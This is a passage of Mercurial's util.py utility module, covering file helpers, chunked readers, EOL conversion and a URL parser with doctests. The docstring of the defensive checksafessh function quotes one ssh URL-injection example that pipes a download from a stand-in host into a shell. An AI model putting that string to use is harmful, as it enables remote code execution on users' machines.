2486 2487 self._fp.close()
2487 2488
2488 2489 def __del__(self):
2489 2490 if safehasattr(self, '_fp'): # constructor actually did something
2490 2491 self.discard()
2491 2492
2492 2493 def __enter__(self):
2493 2494 return self
2494 2495
2495 2496 def __exit__(self, exctype, excvalue, traceback):
2496 2497 if exctype is not None:
2497 2498 self.discard()
2498 2499 else:
2499 2500 self.close()
2500 2501
2501 2502
2502 2503 def unlinkpath(f, ignoremissing=False, rmdir=True):
2503 2504 """unlink and remove the directory if it is empty"""
2504 2505 if ignoremissing:
2505 2506 tryunlink(f)
2506 2507 else:
2507 2508 unlink(f)
2508 2509 if rmdir:
2509 2510 # try removing directories that might now be empty
2510 2511 try:
2511 2512 removedirs(os.path.dirname(f))
2512 2513 except OSError:
2513 2514 pass
2514 2515
2515 2516
2516 2517 def tryunlink(f):
2517 2518 """Attempt to remove a file, ignoring ENOENT errors."""
2518 2519 try:
2519 2520 unlink(f)
2520 2521 except OSError as e:
2521 2522 if e.errno != errno.ENOENT:
2522 2523 raise
2523 2524
2524 2525
2525 2526 def makedirs(name, mode=None, notindexed=False):
2526 2527 """recursive directory creation with parent mode inheritance
2527 2528
2528 2529 Newly created directories are marked as "not to be indexed by
2529 2530 the content indexing service", if ``notindexed`` is specified
2530 2531 for "write" mode access.
2531 2532 """
2532 2533 try:
2533 2534 makedir(name, notindexed)
2534 2535 except OSError as err:
2535 2536 if err.errno == errno.EEXIST:
2536 2537 return
2537 2538 if err.errno != errno.ENOENT or not name:
2538 2539 raise
2539 2540 parent = os.path.dirname(os.path.abspath(name))
2540 2541 if parent == name:
2541 2542 raise
2542 2543 makedirs(parent, mode, notindexed)
2543 2544 try:
2544 2545 makedir(name, notindexed)
2545 2546 except OSError as err:
2546 2547 # Catch EEXIST to handle races
2547 2548 if err.errno == errno.EEXIST:
2548 2549 return
2549 2550 raise
2550 2551 if mode is not None:
2551 2552 os.chmod(name, mode)
2552 2553
2553 2554
2554 2555 def readfile(path):
2555 2556 with open(path, b'rb') as fp:
2556 2557 return fp.read()
2557 2558
2558 2559
2559 2560 def writefile(path, text):
2560 2561 with open(path, b'wb') as fp:
2561 2562 fp.write(text)
2562 2563
2563 2564
2564 2565 def appendfile(path, text):
2565 2566 with open(path, b'ab') as fp:
2566 2567 fp.write(text)
2567 2568
2568 2569
2569 2570 class chunkbuffer(object):
2570 2571 """Allow arbitrary sized chunks of data to be efficiently read from an
2571 2572 iterator over chunks of arbitrary size."""
2572 2573
2573 2574 def __init__(self, in_iter):
2574 2575 """in_iter is the iterator that's iterating over the input chunks."""
2575 2576
2576 2577 def splitbig(chunks):
2577 2578 for chunk in chunks:
2578 2579 if len(chunk) > 2 ** 20:
2579 2580 pos = 0
2580 2581 while pos < len(chunk):
2581 2582 end = pos + 2 ** 18
2582 2583 yield chunk[pos:end]
2583 2584 pos = end
2584 2585 else:
2585 2586 yield chunk
2586 2587
2587 2588 self.iter = splitbig(in_iter)
2588 2589 self._queue = collections.deque()
2589 2590 self._chunkoffset = 0
2590 2591
2591 2592 def read(self, l=None):
2592 2593 """Read L bytes of data from the iterator of chunks of data.
2593 2594 Returns less than L bytes if the iterator runs dry.
2594 2595
2595 2596 If size parameter is omitted, read everything"""
2596 2597 if l is None:
2597 2598 return b''.join(self.iter)
2598 2599
2599 2600 left = l
2600 2601 buf = []
2601 2602 queue = self._queue
2602 2603 while left > 0:
2603 2604 # refill the queue
2604 2605 if not queue:
2605 2606 target = 2 ** 18
2606 2607 for chunk in self.iter:
2607 2608 queue.append(chunk)
2608 2609 target -= len(chunk)
2609 2610 if target <= 0:
2610 2611 break
2611 2612 if not queue:
2612 2613 break
2613 2614
2614 2615 # The easy way to do this would be to queue.popleft(), modify the
2615 2616 # chunk (if necessary), then queue.appendleft(). However, for cases
2616 2617 # where we read partial chunk content, this incurs 2 dequeue
2617 2618 # mutations and creates a new str for the remaining chunk in the
2618 2619 # queue. Our code below avoids this overhead.
2619 2620
2620 2621 chunk = queue[0]
2621 2622 chunkl = len(chunk)
2622 2623 offset = self._chunkoffset
2623 2624
2624 2625 # Use full chunk.
2625 2626 if offset == 0 and left >= chunkl:
2626 2627 left -= chunkl
2627 2628 queue.popleft()
2628 2629 buf.append(chunk)
2629 2630 # self._chunkoffset remains at 0.
2630 2631 continue
2631 2632
2632 2633 chunkremaining = chunkl - offset
2633 2634
2634 2635 # Use all of unconsumed part of chunk.
2635 2636 if left >= chunkremaining:
2636 2637 left -= chunkremaining
2637 2638 queue.popleft()
2638 2639 # offset == 0 is enabled by block above, so this won't merely
2639 2640 # copy via ``chunk[0:]``.
2640 2641 buf.append(chunk[offset:])
2641 2642 self._chunkoffset = 0
2642 2643
2643 2644 # Partial chunk needed.
2644 2645 else:
2645 2646 buf.append(chunk[offset : offset + left])
2646 2647 self._chunkoffset += left
2647 2648 left -= chunkremaining
2648 2649
2649 2650 return b''.join(buf)
2650 2651
2651 2652
2652 2653 def filechunkiter(f, size=131072, limit=None):
2653 2654 """Create a generator that produces the data in the file size
2654 2655 (default 131072) bytes at a time, up to optional limit (default is
2655 2656 to read all data). Chunks may be less than size bytes if the
2656 2657 chunk is the last chunk in the file, or the file is a socket or
2657 2658 some other type of file that sometimes reads less data than is
2658 2659 requested."""
2659 2660 assert size >= 0
2660 2661 assert limit is None or limit >= 0
2661 2662 while True:
2662 2663 if limit is None:
2663 2664 nbytes = size
2664 2665 else:
2665 2666 nbytes = min(limit, size)
2666 2667 s = nbytes and f.read(nbytes)
2667 2668 if not s:
2668 2669 break
2669 2670 if limit:
2670 2671 limit -= len(s)
2671 2672 yield s
2672 2673
2673 2674
2674 2675 class cappedreader(object):
2675 2676 """A file object proxy that allows reading up to N bytes.
2676 2677
2677 2678 Given a source file object, instances of this type allow reading up to
2678 2679 N bytes from that source file object. Attempts to read past the allowed
2679 2680 limit are treated as EOF.
2680 2681
2681 2682 It is assumed that I/O is not performed on the original file object
2682 2683 in addition to I/O that is performed by this instance. If there is,
2683 2684 state tracking will get out of sync and unexpected results will ensue.
2684 2685 """
2685 2686
2686 2687 def __init__(self, fh, limit):
2687 2688 """Allow reading up to <limit> bytes from <fh>."""
2688 2689 self._fh = fh
2689 2690 self._left = limit
2690 2691
2691 2692 def read(self, n=-1):
2692 2693 if not self._left:
2693 2694 return b''
2694 2695
2695 2696 if n < 0:
2696 2697 n = self._left
2697 2698
2698 2699 data = self._fh.read(min(n, self._left))
2699 2700 self._left -= len(data)
2700 2701 assert self._left >= 0
2701 2702
2702 2703 return data
2703 2704
2704 2705 def readinto(self, b):
2705 2706 res = self.read(len(b))
2706 2707 if res is None:
2707 2708 return None
2708 2709
2709 2710 b[0 : len(res)] = res
2710 2711 return len(res)
2711 2712
2712 2713
2713 2714 def unitcountfn(*unittable):
2714 2715 '''return a function that renders a readable count of some quantity'''
2715 2716
2716 2717 def go(count):
2717 2718 for multiplier, divisor, format in unittable:
2718 2719 if abs(count) >= divisor * multiplier:
2719 2720 return format % (count / float(divisor))
2720 2721 return unittable[-1][2] % count
2721 2722
2722 2723 return go
2723 2724
2724 2725
2725 2726 def processlinerange(fromline, toline):
2726 2727 """Check that linerange <fromline>:<toline> makes sense and return a
2727 2728 0-based range.
2728 2729
2729 2730 >>> processlinerange(10, 20)
2730 2731 (9, 20)
2731 2732 >>> processlinerange(2, 1)
2732 2733 Traceback (most recent call last):
2733 2734 ...
2734 2735 ParseError: line range must be positive
2735 2736 >>> processlinerange(0, 5)
2736 2737 Traceback (most recent call last):
2737 2738 ...
2738 2739 ParseError: fromline must be strictly positive
2739 2740 """
2740 2741 if toline - fromline < 0:
2741 2742 raise error.ParseError(_(b"line range must be positive"))
2742 2743 if fromline < 1:
2743 2744 raise error.ParseError(_(b"fromline must be strictly positive"))
2744 2745 return fromline - 1, toline
2745 2746
2746 2747
2747 2748 bytecount = unitcountfn(
2748 2749 (100, 1 << 30, _(b'%.0f GB')),
2749 2750 (10, 1 << 30, _(b'%.1f GB')),
2750 2751 (1, 1 << 30, _(b'%.2f GB')),
2751 2752 (100, 1 << 20, _(b'%.0f MB')),
2752 2753 (10, 1 << 20, _(b'%.1f MB')),
2753 2754 (1, 1 << 20, _(b'%.2f MB')),
2754 2755 (100, 1 << 10, _(b'%.0f KB')),
2755 2756 (10, 1 << 10, _(b'%.1f KB')),
2756 2757 (1, 1 << 10, _(b'%.2f KB')),
2757 2758 (1, 1, _(b'%.0f bytes')),
2758 2759 )
2759 2760
2760 2761
2761 2762 class transformingwriter(object):
2762 2763 """Writable file wrapper to transform data by function"""
2763 2764
2764 2765 def __init__(self, fp, encode):
2765 2766 self._fp = fp
2766 2767 self._encode = encode
2767 2768
2768 2769 def close(self):
2769 2770 self._fp.close()
2770 2771
2771 2772 def flush(self):
2772 2773 self._fp.flush()
2773 2774
2774 2775 def write(self, data):
2775 2776 return self._fp.write(self._encode(data))
2776 2777
2777 2778
2778 2779 # Matches a single EOL which can either be a CRLF where repeated CR
2779 2780 # are removed or a LF. We do not care about old Macintosh files, so a
2780 2781 # stray CR is an error.
2781 2782 _eolre = remod.compile(br'\r*\n')
2782 2783
2783 2784
2784 2785 def tolf(s):
2785 2786 return _eolre.sub(b'\n', s)
2786 2787
2787 2788
2788 2789 def tocrlf(s):
2789 2790 return _eolre.sub(b'\r\n', s)
2790 2791
2791 2792
2792 2793 def _crlfwriter(fp):
2793 2794 return transformingwriter(fp, tocrlf)
2794 2795
2795 2796
2796 2797 if pycompat.oslinesep == b'\r\n':
2797 2798 tonativeeol = tocrlf
2798 2799 fromnativeeol = tolf
2799 2800 nativeeolwriter = _crlfwriter
2800 2801 else:
2801 2802 tonativeeol = pycompat.identity
2802 2803 fromnativeeol = pycompat.identity
2803 2804 nativeeolwriter = pycompat.identity
2804 2805
2805 2806 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2806 2807 3,
2807 2808 0,
2808 2809 ):
2809 2810 # There is an issue in CPython that some IO methods do not handle EINTR
2810 2811 # correctly. The following table shows what CPython version (and functions)
2811 2812 # are affected (buggy: has the EINTR bug, okay: otherwise):
2812 2813 #
2813 2814 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2814 2815 # --------------------------------------------------
2815 2816 # fp.__iter__ | buggy | buggy | okay
2816 2817 # fp.read* | buggy | okay [1] | okay
2817 2818 #
2818 2819 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2819 2820 #
2820 2821 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2821 2822 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2822 2823 #
2823 2824 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2824 2825 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2825 2826 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2826 2827 # fp.__iter__ but not other fp.read* methods.
2827 2828 #
2828 2829 # On modern systems like Linux, the "read" syscall cannot be interrupted
2829 2830 # when reading "fast" files like on-disk files. So the EINTR issue only
2830 2831 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2831 2832 # files approximately as "fast" files and use the fast (unsafe) code path,
2832 2833 # to minimize the performance impact.
2833 2834 if sys.version_info >= (2, 7, 4):
2834 2835 # fp.readline deals with EINTR correctly, use it as a workaround.
2835 2836 def _safeiterfile(fp):
2836 2837 return iter(fp.readline, b'')
2837 2838
2838 2839 else:
2839 2840 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2840 2841 # note: this may block longer than necessary because of bufsize.
2841 2842 def _safeiterfile(fp, bufsize=4096):
2842 2843 fd = fp.fileno()
2843 2844 line = b''
2844 2845 while True:
2845 2846 try:
2846 2847 buf = os.read(fd, bufsize)
2847 2848 except OSError as ex:
2848 2849 # os.read only raises EINTR before any data is read
2849 2850 if ex.errno == errno.EINTR:
2850 2851 continue
2851 2852 else:
2852 2853 raise
2853 2854 line += buf
2854 2855 if b'\n' in buf:
2855 2856 splitted = line.splitlines(True)
2856 2857 line = b''
2857 2858 for l in splitted:
2858 2859 if l[-1] == b'\n':
2859 2860 yield l
2860 2861 else:
2861 2862 line = l
2862 2863 if not buf:
2863 2864 break
2864 2865 if line:
2865 2866 yield line
2866 2867
2867 2868 def iterfile(fp):
2868 2869 fastpath = True
2869 2870 if type(fp) is file:
2870 2871 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2871 2872 if fastpath:
2872 2873 return fp
2873 2874 else:
2874 2875 return _safeiterfile(fp)
2875 2876
2876 2877
2877 2878 else:
2878 2879 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2879 2880 def iterfile(fp):
2880 2881 return fp
2881 2882
2882 2883
2883 2884 def iterlines(iterator):
2884 2885 for chunk in iterator:
2885 2886 for line in chunk.splitlines():
2886 2887 yield line
2887 2888
2888 2889
2889 2890 def expandpath(path):
2890 2891 return os.path.expanduser(os.path.expandvars(path))
2891 2892
2892 2893
2893 2894 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2894 2895 """Return the result of interpolating items in the mapping into string s.
2895 2896
2896 2897 prefix is a single character string, or a two character string with
2897 2898 a backslash as the first character if the prefix needs to be escaped in
2898 2899 a regular expression.
2899 2900
2900 2901 fn is an optional function that will be applied to the replacement text
2901 2902 just before replacement.
2902 2903
2903 2904 escape_prefix is an optional flag that allows using doubled prefix for
2904 2905 its escaping.
2905 2906 """
2906 2907 fn = fn or (lambda s: s)
2907 2908 patterns = b'|'.join(mapping.keys())
2908 2909 if escape_prefix:
2909 2910 patterns += b'|' + prefix
2910 2911 if len(prefix) > 1:
2911 2912 prefix_char = prefix[1:]
2912 2913 else:
2913 2914 prefix_char = prefix
2914 2915 mapping[prefix_char] = prefix_char
2915 2916 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2916 2917 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2917 2918
2918 2919
2919 2920 def getport(port):
2920 2921 """Return the port for a given network service.
2921 2922
2922 2923 If port is an integer, it's returned as is. If it's a string, it's
2923 2924 looked up using socket.getservbyname(). If there's no matching
2924 2925 service, error.Abort is raised.
2925 2926 """
2926 2927 try:
2927 2928 return int(port)
2928 2929 except ValueError:
2929 2930 pass
2930 2931
2931 2932 try:
2932 2933 return socket.getservbyname(pycompat.sysstr(port))
2933 2934 except socket.error:
2934 2935 raise error.Abort(
2935 2936 _(b"no port number associated with service '%s'") % port
2936 2937 )
2937 2938
2938 2939
2939 2940 class url(object):
2940 2941 r"""Reliable URL parser.
2941 2942
2942 2943 This parses URLs and provides attributes for the following
2943 2944 components:
2944 2945
2945 2946 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2946 2947
2947 2948 Missing components are set to None. The only exception is
2948 2949 fragment, which is set to '' if present but empty.
2949 2950
2950 2951 If parsefragment is False, fragment is included in query. If
2951 2952 parsequery is False, query is included in path. If both are
2952 2953 False, both fragment and query are included in path.
2953 2954
2954 2955 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2955 2956
2956 2957 Note that for backward compatibility reasons, bundle URLs do not
2957 2958 take host names. That means 'bundle://../' has a path of '../'.
2958 2959
2959 2960 Examples:
2960 2961
2961 2962 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2962 2963 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2963 2964 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2964 2965 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2965 2966 >>> url(b'file:///home/joe/repo')
2966 2967 <url scheme: 'file', path: '/home/joe/repo'>
2967 2968 >>> url(b'file:///c:/temp/foo/')
2968 2969 <url scheme: 'file', path: 'c:/temp/foo/'>
2969 2970 >>> url(b'bundle:foo')
2970 2971 <url scheme: 'bundle', path: 'foo'>
2971 2972 >>> url(b'bundle://../foo')
2972 2973 <url scheme: 'bundle', path: '../foo'>
2973 2974 >>> url(br'c:\foo\bar')
2974 2975 <url path: 'c:\\foo\\bar'>
2975 2976 >>> url(br'\\blah\blah\blah')
2976 2977 <url path: '\\\\blah\\blah\\blah'>
2977 2978 >>> url(br'\\blah\blah\blah#baz')
2978 2979 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2979 2980 >>> url(br'file:///C:\users\me')
2980 2981 <url scheme: 'file', path: 'C:\\users\\me'>
2981 2982
2982 2983 Authentication credentials:
2983 2984
2984 2985 >>> url(b'ssh://joe:xyz@x/repo')
2985 2986 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2986 2987 >>> url(b'ssh://joe@x/repo')
2987 2988 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2988 2989
2989 2990 Query strings and fragments:
2990 2991
2991 2992 >>> url(b'http://host/a?b#c')
2992 2993 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2993 2994 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2994 2995 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2995 2996
2996 2997 Empty path:
2997 2998
2998 2999 >>> url(b'')
2999 3000 <url path: ''>
3000 3001 >>> url(b'#a')
3001 3002 <url path: '', fragment: 'a'>
3002 3003 >>> url(b'http://host/')
3003 3004 <url scheme: 'http', host: 'host', path: ''>
3004 3005 >>> url(b'http://host/#a')
3005 3006 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3006 3007
3007 3008 Only scheme:
3008 3009
3009 3010 >>> url(b'http:')
3010 3011 <url scheme: 'http'>
3011 3012 """
3012 3013
3013 3014 _safechars = b"!~*'()+"
3014 3015 _safepchars = b"/!~*'()+:\\"
3015 3016 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3016 3017
3017 3018 def __init__(self, path, parsequery=True, parsefragment=True):
3018 3019 # We slowly chomp away at path until we have only the path left
3019 3020 self.scheme = self.user = self.passwd = self.host = None
3020 3021 self.port = self.path = self.query = self.fragment = None
3021 3022 self._localpath = True
3022 3023 self._hostport = b''
3023 3024 self._origpath = path
3024 3025
3025 3026 if parsefragment and b'#' in path:
3026 3027 path, self.fragment = path.split(b'#', 1)
3027 3028
3028 3029 # special case for Windows drive letters and UNC paths
3029 3030 if hasdriveletter(path) or path.startswith(b'\\\\'):
3030 3031 self.path = path
3031 3032 return
3032 3033
3033 3034 # For compatibility reasons, we can't handle bundle paths as
3034 3035 # normal URLS
3035 3036 if path.startswith(b'bundle:'):
3036 3037 self.scheme = b'bundle'
3037 3038 path = path[7:]
3038 3039 if path.startswith(b'//'):
3039 3040 path = path[2:]
3040 3041 self.path = path
3041 3042 return
3042 3043
3043 3044 if self._matchscheme(path):
3044 3045 parts = path.split(b':', 1)
3045 3046 if parts[0]:
3046 3047 self.scheme, path = parts
3047 3048 self._localpath = False
3048 3049
3049 3050 if not path:
3050 3051 path = None
3051 3052 if self._localpath:
3052 3053 self.path = b''
3053 3054 return
3054 3055 else:
3055 3056 if self._localpath:
3056 3057 self.path = path
3057 3058 return
3058 3059
3059 3060 if parsequery and b'?' in path:
3060 3061 path, self.query = path.split(b'?', 1)
3061 3062 if not path:
3062 3063 path = None
3063 3064 if not self.query:
3064 3065 self.query = None
3065 3066
3066 3067 # // is required to specify a host/authority
3067 3068 if path and path.startswith(b'//'):
3068 3069 parts = path[2:].split(b'/', 1)
3069 3070 if len(parts) > 1:
3070 3071 self.host, path = parts
3071 3072 else:
3072 3073 self.host = parts[0]
3073 3074 path = None
3074 3075 if not self.host:
3075 3076 self.host = None
3076 3077 # path of file:///d is /d
3077 3078 # path of file:///d:/ is d:/, not /d:/
3078 3079 if path and not hasdriveletter(path):
3079 3080 path = b'/' + path
3080 3081
3081 3082 if self.host and b'@' in self.host:
3082 3083 self.user, self.host = self.host.rsplit(b'@', 1)
3083 3084 if b':' in self.user:
3084 3085 self.user, self.passwd = self.user.split(b':', 1)
3085 3086 if not self.host:
3086 3087 self.host = None
3087 3088
3088 3089 # Don't split on colons in IPv6 addresses without ports
3089 3090 if (
3090 3091 self.host
3091 3092 and b':' in self.host
3092 3093 and not (
3093 3094 self.host.startswith(b'[') and self.host.endswith(b']')
3094 3095 )
3095 3096 ):
3096 3097 self._hostport = self.host
3097 3098 self.host, self.port = self.host.rsplit(b':', 1)
3098 3099 if not self.host:
3099 3100 self.host = None
3100 3101
3101 3102 if (
3102 3103 self.host
3103 3104 and self.scheme == b'file'
3104 3105 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3105 3106 ):
3106 3107 raise error.Abort(
3107 3108 _(b'file:// URLs can only refer to localhost')
3108 3109 )
3109 3110
3110 3111 self.path = path
3111 3112
3112 3113 # leave the query string escaped
3113 3114 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3114 3115 v = getattr(self, a)
3115 3116 if v is not None:
3116 3117 setattr(self, a, urlreq.unquote(v))
3117 3118
3118 3119 @encoding.strmethod
3119 3120 def __repr__(self):
3120 3121 attrs = []
3121 3122 for a in (
3122 3123 b'scheme',
3123 3124 b'user',
3124 3125 b'passwd',
3125 3126 b'host',
3126 3127 b'port',
3127 3128 b'path',
3128 3129 b'query',
3129 3130 b'fragment',
3130 3131 ):
3131 3132 v = getattr(self, a)
3132 3133 if v is not None:
3133 3134 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3134 3135 return b'<url %s>' % b', '.join(attrs)
3135 3136
3136 3137 def __bytes__(self):
3137 3138 r"""Join the URL's components back into a URL string.
3138 3139
3139 3140 Examples:
3140 3141
3141 3142 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3142 3143 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3143 3144 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3144 3145 'http://user:pw@host:80/?foo=bar&baz=42'
3145 3146 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3146 3147 'http://user:pw@host:80/?foo=bar%3dbaz'
3147 3148 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3148 3149 'ssh://user:pw@[::1]:2200//home/joe#'
3149 3150 >>> bytes(url(b'http://localhost:80//'))
3150 3151 'http://localhost:80//'
3151 3152 >>> bytes(url(b'http://localhost:80/'))
3152 3153 'http://localhost:80/'
3153 3154 >>> bytes(url(b'http://localhost:80'))
3154 3155 'http://localhost:80/'
3155 3156 >>> bytes(url(b'bundle:foo'))
3156 3157 'bundle:foo'
3157 3158 >>> bytes(url(b'bundle://../foo'))
3158 3159 'bundle:../foo'
3159 3160 >>> bytes(url(b'path'))
3160 3161 'path'
3161 3162 >>> bytes(url(b'file:///tmp/foo/bar'))
3162 3163 'file:///tmp/foo/bar'
3163 3164 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3164 3165 'file:///c:/tmp/foo/bar'
3165 3166 >>> print(url(br'bundle:foo\bar'))
3166 3167 bundle:foo\bar
3167 3168 >>> print(url(br'file:///D:\data\hg'))
3168 3169 file:///D:\data\hg
3169 3170 """
3170 3171 if self._localpath:
3171 3172 s = self.path
3172 3173 if self.scheme == b'bundle':
3173 3174 s = b'bundle:' + s
3174 3175 if self.fragment:
3175 3176 s += b'#' + self.fragment
3176 3177 return s
3177 3178
3178 3179 s = self.scheme + b':'
3179 3180 if self.user or self.passwd or self.host:
3180 3181 s += b'//'
3181 3182 elif self.scheme and (
3182 3183 not self.path
3183 3184 or self.path.startswith(b'/')
3184 3185 or hasdriveletter(self.path)
3185 3186 ):
3186 3187 s += b'//'
3187 3188 if hasdriveletter(self.path):
3188 3189 s += b'/'
3189 3190 if self.user:
3190 3191 s += urlreq.quote(self.user, safe=self._safechars)
3191 3192 if self.passwd:
3192 3193 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3193 3194 if self.user or self.passwd:
3194 3195 s += b'@'
3195 3196 if self.host:
3196 3197 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3197 3198 s += urlreq.quote(self.host)
3198 3199 else:
3199 3200 s += self.host
3200 3201 if self.port:
3201 3202 s += b':' + urlreq.quote(self.port)
3202 3203 if self.host:
3203 3204 s += b'/'
3204 3205 if self.path:
3205 3206 # TODO: similar to the query string, we should not unescape the
3206 3207 # path when we store it, the path might contain '%2f' = '/',
3207 3208 # which we should *not* escape.
3208 3209 s += urlreq.quote(self.path, safe=self._safepchars)
3209 3210 if self.query:
3210 3211 # we store the query in escaped form.
3211 3212 s += b'?' + self.query
3212 3213 if self.fragment is not None:
3213 3214 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3214 3215 return s
3215 3216
3216 3217 __str__ = encoding.strmethod(__bytes__)
3217 3218
3218 3219 def authinfo(self):
3219 3220 user, passwd = self.user, self.passwd
3220 3221 try:
3221 3222 self.user, self.passwd = None, None
3222 3223 s = bytes(self)
3223 3224 finally:
3224 3225 self.user, self.passwd = user, passwd
3225 3226 if not self.user:
3226 3227 return (s, None)
3227 3228 # authinfo[1] is passed to urllib2 password manager, and its
3228 3229 # URIs must not contain credentials. The host is passed in the
3229 3230 # URIs list because Python < 2.4.3 uses only that to search for
3230 3231 # a password.
3231 3232 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3232 3233
3233 3234 def isabs(self):
3234 3235 if self.scheme and self.scheme != b'file':
3235 3236 return True # remote URL
3236 3237 if hasdriveletter(self.path):
3237 3238 return True # absolute for our purposes - can't be joined()
3238 3239 if self.path.startswith(br'\\'):
3239 3240 return True # Windows UNC path
3240 3241 if self.path.startswith(b'/'):
3241 3242 return True # POSIX-style
3242 3243 return False
3243 3244
3244 3245 def localpath(self):
3245 3246 if self.scheme == b'file' or self.scheme == b'bundle':
3246 3247 path = self.path or b'/'
3247 3248 # For Windows, we need to promote hosts containing drive
3248 3249 # letters to paths with drive letters.
3249 3250 if hasdriveletter(self._hostport):
3250 3251 path = self._hostport + b'/' + self.path
3251 3252 elif (
3252 3253 self.host is not None and self.path and not hasdriveletter(path)
3253 3254 ):
3254 3255 path = b'/' + path
3255 3256 return path
3256 3257 return self._origpath
3257 3258
3258 3259 def islocal(self):
3259 3260 '''whether localpath will return something that posixfile can open'''
3260 3261 return (
3261 3262 not self.scheme
3262 3263 or self.scheme == b'file'
3263 3264 or self.scheme == b'bundle'
3264 3265 )
3265 3266
3266 3267
3267 3268 def hasscheme(path):
3268 3269 return bool(url(path).scheme)
3269 3270
3270 3271
3271 3272 def hasdriveletter(path):
3272 3273 return path and path[1:2] == b':' and path[0:1].isalpha()
3273 3274
3274 3275
3275 3276 def urllocalpath(path):
3276 3277 return url(path, parsequery=False, parsefragment=False).localpath()
3277 3278
3278 3279
3279 3280 def checksafessh(path):
3280 3281 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3281 3282
3282 3283 This is a sanity check for ssh urls. ssh will parse the first item as
3283 3284 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3284 3285 Let's prevent these potentially exploited urls entirely and warn the
3285 3286 user.
3286 3287
3287 3288 Raises an error.Abort when the url is unsafe.
3288 3289 """
3289 3290 path = urlreq.unquote(path)
3290 3291 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3291 3292 raise error.Abort(
3292 3293 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3293 3294 )
3294 3295
3295 3296
3296 3297 def hidepassword(u):
3297 3298 '''hide user credential in a url string'''
3298 3299 u = url(u)
3299 3300 if u.passwd:
3300 3301 u.passwd = b'***'
3301 3302 return bytes(u)
3302 3303
3303 3304
3304 3305 def removeauth(u):
3305 3306 '''remove all authentication information from a url string'''
3306 3307 u = url(u)
3307 3308 u.user = u.passwd = None
3308 3309 return bytes(u)
3309 3310
3310 3311
3311 3312 timecount = unitcountfn(
3312 3313 (1, 1e3, _(b'%.0f s')),
3313 3314 (100, 1, _(b'%.1f s')),
3314 3315 (10, 1, _(b'%.2f s')),
3315 3316 (1, 1, _(b'%.3f s')),
3316 3317 (100, 0.001, _(b'%.1f ms')),
3317 3318 (10, 0.001, _(b'%.2f ms')),
3318 3319 (1, 0.001, _(b'%.3f ms')),
3319 3320 (100, 0.000001, _(b'%.1f us')),
3320 3321 (10, 0.000001, _(b'%.2f us')),
3321 3322 (1, 0.000001, _(b'%.3f us')),
3322 3323 (100, 0.000000001, _(b'%.1f ns')),
3323 3324 (10, 0.000000001, _(b'%.2f ns')),
3324 3325 (1, 0.000000001, _(b'%.3f ns')),
3325 3326 )
3326 3327
3327 3328
3328 3329 @attr.s
3329 3330 class timedcmstats(object):
3330 3331 """Stats information produced by the timedcm context manager on entering."""
3331 3332
3332 3333 # the starting value of the timer as a float (meaning and resulution is
3333 3334 # platform dependent, see util.timer)
3334 3335 start = attr.ib(default=attr.Factory(lambda: timer()))
3335 3336 # the number of seconds as a floating point value; starts at 0, updated when
3336 3337 # the context is exited.
3337 3338 elapsed = attr.ib(default=0)
3338 3339 # the number of nested timedcm context managers.
3339 3340 level = attr.ib(default=1)
3340 3341
3341 3342 def __bytes__(self):
3342 3343 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3343 3344
3344 3345 __str__ = encoding.strmethod(__bytes__)
3345 3346
3346 3347
3347 3348 @contextlib.contextmanager
3348 3349 def timedcm(whencefmt, *whenceargs):
3349 3350 """A context manager that produces timing information for a given context.
3350 3351
3351 3352 On entering a timedcmstats instance is produced.
3352 3353
3353 3354 This context manager is reentrant.
3354 3355
3355 3356 """
3356 3357 # track nested context managers
3357 3358 timedcm._nested += 1
3358 3359 timing_stats = timedcmstats(level=timedcm._nested)
3359 3360 try:
3360 3361 with tracing.log(whencefmt, *whenceargs):
3361 3362 yield timing_stats
3362 3363 finally:
3363 3364 timing_stats.elapsed = timer() - timing_stats.start
